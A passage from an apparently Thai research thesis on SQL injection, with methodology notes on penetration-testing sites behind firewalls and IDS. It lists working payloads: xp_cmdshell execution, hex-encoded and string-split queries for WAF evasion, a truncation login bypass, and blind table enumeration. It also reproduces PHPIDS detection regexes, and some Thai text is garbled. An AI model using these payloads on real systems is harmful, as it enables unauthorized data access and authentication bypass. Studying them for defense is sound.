SELECT CAST('CAST and CONVERT' AS char(4)) 

 
Returned result: CAST 

Code: 
SELECT CONVERT(varchar,'CAST',1) 

 

Returned result: CAST 
 

หมายเหตุ: จะเห็นวาท้ัง SUBSTRING และ CAST Keyword ใชงานเหมือนกัน ดังนั้นสามารถใช
มันเพื่อ blind SQL Injection  สามารถลองทดสอบโดยคําส่ังนี้ 

 
 ตอจากนี้ไปการใช CONVERT and CAST เพื่อตรวจสอบโดยใชคําส่ัง SQL ดังตอไปนี้
เพื่อตรวจหา SQL Database version โดยใช CAST and CONVERT 
0x1 - Identify the query to execute: 
 

Code: 
SELECT @@VERSION 

 
0x2 - Construct the query based on keywords CAST and CONVERT: 

Code: 
SELECT CAST('SELECT @@VERSION' AS VARCHAR(16)) 

 
OR 

Code: 
SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1) 
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0x3 - Execute the query using the keyword EXEC: 
Code: 
SET @sqlcommand =  SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1) 
 
EXEC(@sqlcommand) 

 
OR convert first the SELECT @@VERSION to Hex 

Code: 
SET @sqlcommand 
=  (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34)) 
 
EXEC(@sqlcommand) 

 
หมายเหตุ:  จะเห็นแลววาการใช CAST and CONVERT นั้น  ขอมูลท่ีถูกเก็บไวใน CAST คือ 

เลขฐานสิบหก อยูในรูปแบบของ Varchar 
 
 นอกจากนี้ยังสามารถใช CAST and CONVERT เพื่อทําการปอนขอมูลในการโจมตี 
โดยสามารถเปล่ียนแปลงการเขารหัสขอมูล และสรางชุดคําส่ังท่ีซับซอน จะเปนประโยชนอยางดี 
 

Code: 
CAST(CAST(PAYLOAD IN HEX, VARCHAR(CHARACTER LENGTH OF PAYLOAD)),, 
VARCHAR(CHARACTER LENGTH OF TOTAL PAYLOAD) 
 
 Dynamic Query Execution 

 ฐานขอมูลสวนใหญจะอนุญาตใหใชงาน Dynamic Query โดยการสง String ท่ีมี
ชุดคําส่ัง SQL อยูในนั้น ไปยังฐานขอมูล ถาพบการปอนขอมูล SQL ท่ีถูกตองแลว และพบวา 
แอพลิเคช่ันไหนท่ีใชในการตรวจจับหรือปองกันการใชงานนั้นๆ สามารถใช Dynamic Execution 
ในการหลบหลีกการตรวจจับแตละฐานขอมูลจะมี dynamic query execution ท่ีแตกตางกันออกไป
บน Microsoft SQL Server สามารถใชฟงกช่ัน Exec ในการประมวลผลชุดคําส่ังในรูปแบบ String  
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 ตัวอยางเชน : 
 

Code: 
'EXEC xp_cmdshell ‘dir’; — Or 'UNION EXEC xp_cmdshell ‘dir’; — 

 

หมายเหตุ:  ฟงกช่ันการใช EXEC ท่ีสามารถระบุวิธีการจัดเก็บท่ีใชงานในฐานขอมูลท้ังหมด และ 
สามารถใหสิทธิ ในการจัดเก็บขอมูลดวย 

 

 ใน Oracle, สามารถใช คําส่ัง EXECUTE IMMEDIATE เพื่อใชงานในรูปแบบ String 
 ตัวอยางเชน: 

 

Code: 
DECLARE pw VARCHAR2(1000); 
BEGIN 
       EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw; 
       DBMS_OUTPUT.PUT_LINE(pw); 
END; 

 
หมายเหตุ:  สามารถกระทําโดยสวนหนึ่งหรือท้ังหมดไดเลยพรอมกัน โดยคําส่ังอ่ืนๆ สามารถสง

รวมกันไดภายใตชุดคําส่ังเดียวกันไดเลย 
 

 ประเภทการโจมตีแบบ SQL Injection นั้น สามารถกระทําผาน Web Application อยาง
ท่ีเห็นวาชุดคําส่ังสามารถแยกโดย semicolon เพื่อทําการสงไปยัง database ตัวอยางเชน MSSQL
 ยกตัวอยางเชนใน MSSQL  
 

Code: 
SET @MSSQLVERSION  = SELECT @@VERSION; EXEC (@MSSQLVERSION); -- 

 
หมายเหตุ:  เทากับชุดคําส่ังเดียวกันสามารถใชงานไดกับหลายๆ Web Application  
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 ฐานขอมูลใหวิธีการตางๆ ในการจัดการกับ String และกุญแจสําคัญท่ีจะดําเนินการโดย
ใช Dynamic execution ปอนขอมูล โดยการเปล่ียนแปลงคา String เพื่อใหผานการตรวจจับ โดย 
String นั้นๆ จะเก็บชุดคําส่ังไวในตัวมันเองดวย ตัวอยางงายๆ คือสามารถใช String แยกออกเปน
สวนยอยๆ เพราะ ฐานขอมูลแตละที่จะใช Syntax ท่ีแตกตางกันออกไป  
 ตัวอยางเชนถา SQL เลือกคําหลักถูกบล็อกสามารถสรางดังนี ้
 

Oracle:  
Code: 
'SEL'||'ECT' 

 
MS-SQL:  

Code: 
'SEL'+'ECT' 

 
MySQL:  

Code: 
'SEL' 'ECT' 

 
Further examples of this SQL obfuscation method would be: 
Oracle:  

Code: 
UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL-- 

 
MS-SQL:  

Code: 
' un’+’ion (se’+’lect @@version) -- 

 
MySQL:  

Code: 
' SE’’LECT user(); # 
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 โปรดทราบวา SQL Server ใชเคร่ืองหมาย + สําหรับการเรียงตอกันในขณะท่ี MySQL 
ใชพื้นท่ี หากกําลังสงคาเหลานี้ในไปยัง HTTP ก็จะตองใช URL Encode มัน เชน %2band%20 
ตามลําดับ จากนี้ไปสามารถสราง individual character ในรูปแบบ CHAR (CHR ใน Oracle) โดยใช 
ASCII Code ตัวอยางเชนการสรางเลือก Keyword ใน SQL Server สามารถใช: 
 

Code: 
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84) 

 

หมายเหตุ:   Firefox มี plug-in ท่ีเรียกวา Hackbar ท่ีกระทําการโดยอัตโนมัติ (มีใชมาเปนเวลานาน
แลว) สามารถสรางอักขระโดยใช รูปแบบ quotation mark ถาหากถูกปองกันจาก
ตรวจจับ quotation mark นั้น สามารถใชรูปแบบของ CHAR เพื่อแทนท่ี String  (เชน 
'admin') ลงไปใน exploit ก็ไดฟงกช่ันการจัดการของ String อ่ืนๆ อาจเปนประโยชน
เชนกัน ยกตัวอยางเชนมีฟงกช่ัน REVERSE, TRANSLATE, REPLACE และ 
SUBSTR  วิธีอ่ืนๆ ท่ีจะสราง String สําหรับ Dynamic execution บน SQL Server นั้น
สามารถทําไดโดยผาน String ในรูปแบบ String ASCII Code ดังเชนตัวอยาง 

 
Code: 
SELECT password FROM tblUsers 

 
สามารถสรางแบบไดนามิกและการดําเนนิการดังตอไปนี้: 

Code: 
DECLARE @query VARCHAR(100) 
      SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273 
EXEC(@query) 

 

หมายเหตุ: รูปแบบ SQL Injection สวนใหญ จะถูกใชงานกับ Web Application โดยเร่ิมข้ึนเม่ือป 
2008 โดยเทคนิคนี้ถูกนํามาใชเพื่อลดการตรวจจับจาก input filter ของ application  
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 Null Bytes 
 บอยคร้ังท่ีตัวตรวจจับ SQL Injection จะใชถูกติดต้ังข้ึนแยกออกจากโปรแกรม เชน 

ระบบการตรวจจับการบุกรุก (IDSs) หรือ Wafs เพื่อเหตุผลดานประสิทธิภาพองคประกอบเหลานี้
จะถูกเขียนโดยท่ัวไปในภาษาโปรแกรม เชน C ++ ในสถานการณเชนนี้คุณจะสามารถใชการโจมตี
แบบ Null byte เพื่อหลีกเล่ียงการตรวจจับเพื่อสง exploit ไปยัง application ได 

 การโจมตีแบบ null byte จะใชงานไดดีเนื่องจากการทํางานท่ีแตกตางกันของ null byte 
จะใชคําส่ังท่ัวไป ท่ีเปนพื้นฐานอยูแลว ความยาวของ String จะถูกกําหนดโดยตําแหนงของ null 
byte, null byte มีความสามารถในการหยุดการใชงาน String โดยชุดคําส่ังการจัดการของมันเอง 
โดย String object สามารถสราง array โดยท่ีใน array นั้นๆ มี null byte อยูดวย ในชุดคําส่ัง String 
นั้น เม่ือมีการประมวลผลและมีการตรวจจับ มันจะสามารถหยุดการประมวลผลโดยใช null byte ได 
เพราะวาผลลัพธของมันก็จะเทากับการหยุดการประมวลผลโดยการดักจับ แตการตรวจจับของ null 
byte นั้นจะถูกจัดอยูแค benign ตัว filter จะไมทําการ block input นั้นๆ 

 อยางไรก็ตามเม่ือการปอนขอมูลชุดเดียวกันถูกประมวลผลโดย Application ในการ
จัดการของ Code นั้นๆ การปอนขอมูลแบบ null byte ดังตอไปนี้จะสามารถทํางานได และยัง
อนุญาตให ใชงาน exploit ไดอีกดวย โดยการใชงาน null byte นั้นตองใช URL-encode null byte 
กอน character ท่ีจะถูก Block เชนตัวอยาง สามารถใชงานชุดคําส่ังของ String ไดดังนี้ 

 
Code: 
' UNION SELECT password FROM tblUsers WHERE username='admin'-- 

 
หมายเหตุ:  เม่ือการเขาถึงชองวางของ database ได  null byte จะสามารถใชงานไดเทียบกับ ชุดคําส่ัง 

SQL 
 

 Nesting Stripped Expressions 
 การตรวจจับบางชนิดจะทําการด ูcharacter และ expression จากขอมูลท่ีปอนเขามา และ 
ประมวลผล ถา expression บางตัวมีการใสท่ีมีขอมูลมากกวา 2 ข้ึนไปและการตัวตรวจจับไม
สามารถทํางานไดอยางตอเนื่อง สามารถเล่ียงการตรวจจับนั้นๆ โดยหามให expression นั้นๆ โดย
ตัวมันเอง 
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 ตัวอยาง เชน ถา คําส่ัง SQL SELECT ถูกตรวจสอบการปอนขอมูล สามารถใชคําส่ัง
ดานลางนี้เพื่อหลีกเล่ียงมัน 
 

Code: 
SELSELECTECT 
 

หมายเหตุ: จะเห็นไดวาการหลบหลีกการตรวจจับนัน้เปนไปได 
 

 Truncation  
 บอยคร้ังการตรวจจับจะมีการจัดการบนตัวขอมูลของ user เอง และในวิธีการหนึ่งใน
นั้นคือ ตรวจจับท่ี จํานวนตัวอักษร และเพื่อเปนการปองกันการ โจมตีแบบ Buffer overflow หรือ 
จุดประสงคเพื่อกําหนด จํานวนตัวอักษรสูงสุดท่ีจะนํามาใชใน Log in Function ตัวอยาง ชุดคําส่ัง 
SQL ท่ีมีการปอนขอมูลโดยมีการเลือกคามากกวาหนึ่ง 
  

Code: 
SELECT uid FROM tblUsers WHERE username = 'jlo' AND password = 'r1Mj06' 

 
 สมมุติวา โปรแกรมมีการใชงานการตรวจจับแบบนี้ ใหทําตามข้ันตอนดังกลาวใช 
double up quotation mark แทนที่ Single quote ( ') โดย two single quote ( ") และแยกอักษร
ออกเปน 16 ตัว ถามีชุดคําส่ัง SQL Injection แบบน้ี 
 

Code: 
admin'-- 

 
ชุดคําส่ังจะถูกนําข้ึนมาใช และการโจมตีจะลมเหลว: 

Code: 
SELECT uid FROM tblUsers WHERE username = 'admin''--' AND password = '' 
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 The double-up quote คือการท่ีปอนขอมูลผิดในการใส username โดยท่ีการตรวจสอบ
จะตรวจสอบในแตละตัวอักษรท่ีคุณมี อยางไรก็ตามถาแทนท่ีมันดวย username aaaaaaaaaaaaaaa 
โดยมี อักษร a ท้ังหมด 15 ตัวอักษร และ 1 quotation mark  ตัวโปรแกรมจะทําการ double up quote 
ใหจะเปนท้ังส้ิน 17 ตัวอักษร และโปรแกรม จะทําการตัด additional quote ออก 1 ตัว ทําใหเหลือ 
16 ตัวอักษร นี่ทําใหสามารถลักลอบนํา quotation mark ปอนเขาไปใน ชุดคําส่ังได 
 

Code: 
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = '' 

 

หมายเหตุ: การโจมตีดังกลาวนั้นจะมีผลลัพธออกมาเปน error เพราะ ตัวอักษรไมไดจบดวย String 
 แตละคูของ quote นั้น จะตามดวย อักษร a เพื่อ แทนตัวเองแปน escape quote จึงทําให

ไมมีตัว final quote ไปการกําหนดตัวสุดทายของ username String อยางไรก็ตามยังมี
ขอมูลชุดท่ี 2 ท่ีตองกรอกคือ password สามารถกรอกชุดคําส่ังใหถูกตอง และ ผานการ 
Login ไปไดโดยให password ดังนี้ 

 
Code: 
or 1=1-- 

 
ซ่ึงทําใหแอปพลิเคช่ันทําตามคํารองขอตอไปนี:้ 

Code: 

SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1--' 

 
เม่ือฐานขอมูลรันแบบสอบถามน้ี จะตรวจสอบสําหรับทางเขาตารางวาช่ือผูใชงานท่ีแทจริงคือ:  

Code: 
aaaaaaaaaaaaaaa' AND password = 

 
 ซ่ึงสันนิษฐานวาเปนเท็จเสมอหรือท่ี 1 = 1 ซ่ึงเปนจริงเสมอ ดังนั้น แบบสอบถามจะ
กลับมาท่ี UID ของผูใชงานทุกคนในตาราง สวนมากจะกอใหเกิดการประยุกตเขาใชงานคร้ังแรกใน
ตาราง เพื่อเขาสูระบบในฐานะผูใชเฉพาะ (e.g., with UID 0), คุณจะใสรหัสผานเชนตอไปนี้: 
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Code: 
or uid=0-- 

 

หมายเหตุ:  แบบสอบถามน้ีจะถือเปนเทคนิคเกามากใชสําหรับการรับรองความถูกตองบายพาส
หรือการเพิ่มสิทธ์ิ 
 
 2.6.4 More Advanced 
   Regexp Based WAF 
 

Code: 
(?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--
|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\() 
(?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~]) 
(?:"\s*or\s*"?\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\|
|\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-] 
\s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-
]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)|(?:\Winformation_schema|table_name\W) 
(?:"\s*\*.+(?:or|id)\W*"\d)|(?:\^")|(?:^[\w\s"-
]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=\|\|)(?<=\&\&)\w+\()|(?:"[\s\d]*[^\w\s
]+\W*\d 
\W*.*["\d])|(?:"\s*[^\w\s?]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--
))|(?:".*\*\s*\d)|(?:"\s*or\s[^\d]+[\w-]+.*\d)|(?:[()*<>%+-][\w-]+[^\w\s] 
+"[^,]) 
(?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-
]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|] 
[\d\s!=+-
]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-
]+\s=)|(?:"[<>~]+") 
(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\
W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s 
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\w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:sel
ect\s*[\[\]()\s\w\.,"-]+from)|(?:find_in_set\s*\() 
(?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not 
|\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--
|#))|(?:"[%&<>^=]+\d\s*(=| 
or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-
]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*") 
(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|de
lete|update|insert|desc) )|(?:(?:select|create|rename| 
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_f 
ile)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\() 
(?:@.+=\s*\(\s*select)|(?:\d+\s*or\s*\d+\s*[\-
+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--
)\s*(?:drop|alter))|(?: 
(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not 
|\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()]) 
(?:"\s+and\s*=\W)|(?:\(\s*select\s*\w+\s*\()|(?:\*\/from)|(?:\+\s*\d+\s*\+\s*@)|(?:\w"\s*(?:[-
+=|@]+\s*)+[\d(])|(?:coalesce\s*\(|@@\w+\s*[^\w\s])|(?:\W! 
+"\w)|(?:";\s*(?:if|while|begin))|(?:"[\s\d]+=\s*\d)|(?:order\s+by\s+if\w*\s*\()|(?:[\s(]+case\d*\W.
+[tw]hen[\s(]) 
(?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+) 
(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|lo 
ad|alter|delete|update|insert|desc)\s*[\[(]?\w{2,}) 
(?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto) 
(?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-
]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\ 
(\s*@) 
(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{)) 
(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?
user|database|schema|connec tion_id)\s*\([^\)]*)|(?:";? 
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\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select 
@)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+ 
(?:dump|out)file\s*") 
(?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s\-
])|(?:match\s*[\w(),+-]+\s*against\s*\() 
(?:,.*[)\da-
f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|up 
date|insert|desc)\s*\(\s*space\s*\() 
(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\]) 
(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\))) 
(?:(union(.*)select(.*)from)) 
(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-
2147483649|0000023456|2.2250738585072007e-308|1e309)$) 
 

 Regular expressions บางสวนท่ีใชใน PHPIDS 0.7. 
 

 NULL Alias 
 ใน MySQL คา NULL สามารถเขียนเปน \N (case-sensitive) ซ่ึง \n จะไมไดหมายถึง 
NULL ในท่ีนี้หมายถึง WAF ท่ีใช "to_lower" ในคําส่ังของผูใชและมองหา "null" จะไมพบในกรณี
นี้ 
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 Floating Point 
 

Code: 
digits 
digits[.] 
digits[.]digits 
digits[eE]digits 
digits[eE][+-]digits 
digits[.][eE]digits 
digits[.]digits[eE]digits 
digits[.]digits[eE][+-]digits 
[.]digits 
[.]digits[eE]digits 
[.]digits[eE][+-]digits 

 

 Optional เร่ิมดวย [+-] 
 

Exception: 1. AND 2 (ไมมีชองวางระหวาง "1." กับ "AND") ตัววิเคราะหบางตัวยอม และในบาง
ตัวไมยอมรับ. 1e1 vs. 1e1.0 ? ไมถูกระบุไว 

 

Hexadecimal Literals 
Code: 
0xDEADbeef 

 0x เปน case sensitive. 
 

Binary Literals 
Code: 
b'10101010' 

 
Code: 
0b010101 
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 C-Style String Merging 
C-Style strings ท่ีตอเนื่องกัน ถูกรวมเขาเปนหนึ่งเดียว 

Code: 
SELECT 'foo' "bar"; 

 

Ad-Hoc Charset 
Code: 
_charset'....' 
_latin1'.....' 
_utf8'....' 

 

 Operators 
 !=, <=> 
 

 Expression 
 ใชสวนขยายของคํารองขอท่ัวไปของ "OR 1=1". นอกเหนือจากน้ันยังใหตัวอักษร 
สามารถใชฟงกช่ัน: 
 COS(0) = SIN(PI()/2) 
 COS(@VERSION) = -SIN(@VERSION + PI()/2) 
 
"IN" lists 

Quote: 
WHERE id IN (1,2,3,4) 

 
 จะตองทําการสรางข้ึนเองโดยไมมี API หรือพารามิเตอรท่ีสัมพันธกับการสรางนี้ใน
แพลตฟอรมใดๆ หรือ framework หรือภาษา ซ่ึงไมมีความสอดคลองกัน ทางท่ีปลอดภัยเพ่ือทําเชนนี้ 
(นอกเหนือจากการรวมและตรวจสอบ) ยังไมถูกระบุไว 
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 Esp: 
Normal SQL Injection: 

Code: 
1 OR 1=1 

 

Normal SQL Injection โดยใช encapsulated data: 
Code: 
1' OR '1'='1 

 

 Blind SQL Injection จะโยน error เพ่ือตรวจสอบวา encapsulation ไมทํางาน โดย
เปาหมายในท่ีนี้คือการโยน error จะทําใหแอปพลิเคช่ันแสดงใหเห็นวา มีการ encapsulate quote ท่ี
ไมถูกตอง: 

Code: 
1'1 

 

Blind SQL Injection สราง error โดยใช EXEC: 
Code: 
1 EXEC SP_ (or EXEC XP_) 

 
 Blind SQL Injection detection (ผลท่ีไดจะไม เหมือนเดิมหากมีฟล เตอรอยู  ถ า 
ไมใส AND 1 = 1 ไป. หากวาไดผลท่ีเหมือนเดิมแสดงวาแอปพลิเคช่ันมีชองโหว): 

Code: 
1 AND 1=1 

 

 Blind SQL Injection สําหรับเขาถึง tablenames โดยการ brute force ซํ้าๆ ผานช่ือท่ีมี
ความเปนไปได (ซ่ึงจะตองเปล่ียนช่ือ tablenames ไปเร่ือยๆ จนกวาจะตรง): 
Code: 
1' AND 1=(SELECT COUNT(*) FROM tablenames); -- 
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 การหลบเล่ียงดวยเคร่ืองหมาย backslashes (ซ่ึงทําการหลอกแอปพลิเคช่ันดวยการจบ
คอมเมนท single quote ดวย single quote อีกอันโดยมี backslash กอนหนามันจะทําการจบ 
คอมเมนท single quote ท่ีถูกเพิ่มโดยฟลเตอรออก). ฟลเตอรประเภทนี้ถูกประยุกตใชดวย 
 

mySQL's mysql_real_escape_string() and PERL's DBD method $dbh->quote(): 
Code: 
\'; DESC users; -- 

 

ดานบนเปน Blind SQL Injection อ่ืนๆ ท่ีมุงหมายในการสราง error โดยใชวิธี backslash : 
Code: 
1\'1 

 

 สราง errors โดยทําการเรียกตารางปลอมซ่ึงชวยใหเปดเผยชองโหวของแอปพลิเคช่ัน 
โดยมุงท่ีจะสราง error จากการเรียกตารางซ่ึงไมมีอยู (ทดลองโดยมีและไมมี quote): 
 

Code: 
1' AND non_existant_table = '1 

 

 การแจกแจงชื่อตารางในฐานขอมูล โดยเปล่ียนแปลงตัวเลขท่ีตางกัน 116 ตัว ซ่ึง
สามารถใช logarithmic reduction ในการหาตัวอักษรแรกของช่ือตารางในฐานขอมูลไดหลังจากนั้น
วนซํ้าโดยผาน 1 ตัวแรก ใน 1, 1 จนสุดทายไดช่ือตารางท้ังหมดออกมา 
 

Code: 
1 AND 
ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1
, 1))) > 116 

 
คนหาตาราง user supplied โดยใชตาราง sysObjects ใน SQL Server: 
Code: 
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' -- 
 



 

บทที ่3 
ระเบียบวธีิวจิยั 

 
3.1  แนวทางการวจัิยและพฒันา 
 การเจาะระบบเวบ็ไซตด์ว้ยเทคนิค SQL Injection นั้นเป็นช่องโหวท่ี่เกิดข้ึนมานานแลว้ 
อีกทั้งความรุนแรงก็ยงัอยู่ในระดบัสูง แต่เวบ็แอพพลิเคชัน่ท่ีถูกพฒันาให้ใช้งานไดใ้นปัจจุบนันั้น 
กลบัมีเป็นจ านวนไม่นอ้ยท่ียงัพบวา่มีช่องโหวป่ระเภทน้ีอยู ่
 วิธีการท่ีถูกตอ้งและดีท่ีสุดในการแก้ไขปัญหาช่องโหว่ประเภทน้ี คือ การออกแบบ
ระบบเวบ็แอพพลิเคชัน่ท่ีจ  าเป็นจะตอ้งเช่ือมต่อกบัระบบฐานขอ้มูล และตอ้งพฒันาซอร์สโคด้ของ
เวบ็แอพพลิเคชัน่นั้นๆ ให้มีความปลอดภยัมากท่ีสุดเท่าท่ีจะท าได ้แต่การท างานทั้งกระบวนการท่ี
กล่าวมาขา้งตน้นั้น อาจไม่สอดคลอ้งกบัปัจจยัในหลายๆ ดา้นอาทิเช่น ทรัพยากรระบบคอมพิวเตอร์
ทางดา้นฮาร์ดแวร์หรือซอฟตแ์วร์ไม่เพียงพอ ความรู้ความช านาญดา้นการรักษาความปลอดภยัของ
ผูพ้ฒันาเวบ็แอพพลิเคชัน่ ตลอดจนผูดู้แลระบบไม่ดีพอ ผูบ้ริหารตลอดจนเจา้หน้าท่ีท่ีรับผิดชอบ
ขาดความตระหนกัดา้นความมัน่คงปลอดภยัระบบคอมพิวเตอร์ ฯลฯ ซ่ึงท่ีกล่าวมาขา้งตน้นั้นเป็น
สาเหตุท่ีท าใหเ้กิดช่องโหวข่องระบบได ้
 ในส่วนการป้องกันภัยคุกคามท่ี เก่ียวข้องกับระบบเว็บแอพพลิเคชั่นนั้ น  Web 
Application Firewall (หรือท่ีเรียกกันย่อๆ ว่า “WAF”) ถูกออกแบบมาเพื่อปกป้องการคุกคามใน
ดา้นน้ีโดยเฉพาะ ซ่ึงปัจจุบนัก็มีทั้งท่ีเป็นฮาร์ดแวร์และซอฟตแ์วร์ ท่ีผูใ้ชง้านนั้นสามารถหามาใชง้าน
ได ้ซ่ึงก็มีทั้งแบบท่ีตอ้งมีค่าใชจ่้ายและก็มีแบบท่ีไม่ตอ้งเสียค่าใชจ่้ายดว้ยเช่นกนั 
 ในงานวิจยัน้ีจะได้ท าการทดสอบเจาะระบบเวบ็ไซต์ดว้ยเทคนิค SQL Injection แบบ 
Union Based เพื่อต้องการให้เห็นถึงระบบเว็บแอพพลิเคชั่นท่ีมีช่องโหว่ประเภทน้ีอยู่จริง และ
ทดสอบวา่รูปแบบของการเจาะระบบเวบ็ไซตด์ว้ยเทคนิค SQL Injection นั้นมีโอกาสท่ีจะหลุดลอด
จากการตรวจจบัของระบบรักษาความปลอดภยัในบางระบบได ้
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3.2  อุปกรณ์และเคร่ืองมือ 
 3.2.1  เคร่ืองคอมพิวเตอร์ Notebook ส าหรับติดตั้งซอฟตแ์วร์ ส าหรับใชท้ดสอบเจาะระบบ
เวบ็ไซต ์จ านวน 1 เคร่ือง 
 
System Manufacturer: MSI Inc. 
System Model: GE60 2PL Apache 
BIOS: Ver 1.00 BIOS A11PARTTBL 
Rating: 4.5 Windows Experience Index 
Processor: Intel(R) Core(TM) i7-4710HQ CPU @ 2.50GHz 2.50 GHz 
Memory: 8 GB. 
System type: 64-bit Operating System  
Display: NVIDIA GTX850M 
Hard Disk: 1 TB. 
 
 3.2.2  ซอฟตแ์วร์ส าหรับใชท้ดสอบเจาะระบบเวบ็ไซต ์ 
 VMWare Workstation 12 Pro 
 ระบบปฏิบติัการ Windows 8.1 Pro 
 Mozilla Firefox พร้อม Add-on Hackbar และ Live HTTP Header 
 
3.3  วเิคราะห์ระบบรักษาความปลอดภัยและทดสอบเจาะระบบเวบ็ไซต์ด้วยเทคนิค SQL Injection 
 ผูว้ิจยัได้ท าการทดสอบโดยใช้ช่องทางการเช่ือมต่อระบบเครือข่ายคอมพิวเตอร์ผ่าน
ระบบอินเตอร์เน็ตเท่านั้น อนัเน่ืองด้วยวิธีวิจยัท่ีตอ้งการจะทดสอบให้เห็นว่าระบบคอมพิวเตอร์ 
ทั่วๆ ไปนั้ นส่วนใหญ่ก็มักจะมีอุปกรณ์ รักษาความปลอดภัยอย่าง IDS/IPS, Packet Filtering 
Firewall, Stateful Inspection Firewall, Application Proxy หรือ Hybrid Firewall ติดตั้ งไวใ้นระบบ
เครือข่ายคอมพิวเตอร์และถูกวางขวางเคร่ืองคอมพิวเตอร์เวบ็เซิร์ฟเวอร์นั้นอยูแ่ลว้ 
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 รูปแบบการติดตั้งโครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall 
 

 
 
ภาพที ่3.1  โครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall 
 
 รูปแบบการติดตั้งโครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall และ IDS/IPS 
 

 
 
ภาพที ่3.2  โครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall และ IDS/IPS 
 
 รูปแบบการติดตั้ งโครงสร้างระบบรักษาความปลอดภัยท่ีมี Firewall, IDS/IPS และ 
Application Proxy 
 

 
 

ภาพที ่3.3  โครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall, IDS/IPS และ Application Proxy 
  
 ล าดบัแรกในการทดสอบหาช่องโหว ่SQL Injection นั้นจะตอ้งท าการตรวจสอบวา่เวบ็
แอพพลิเคชั่นนั้นมีการตรวจสอบค่าต่างๆ ท่ีจะรับอินพุตแล้วเกิดการเปล่ียนแปลงอย่างไร ให้
ทดสอบใส่ค่า Operators ท่ีเป็นเง่ือนไขจริงกบัเท็จแลว้ดูการตอบสนองของเวบ็แอพพลิเคชัน่ท่ีเกิด
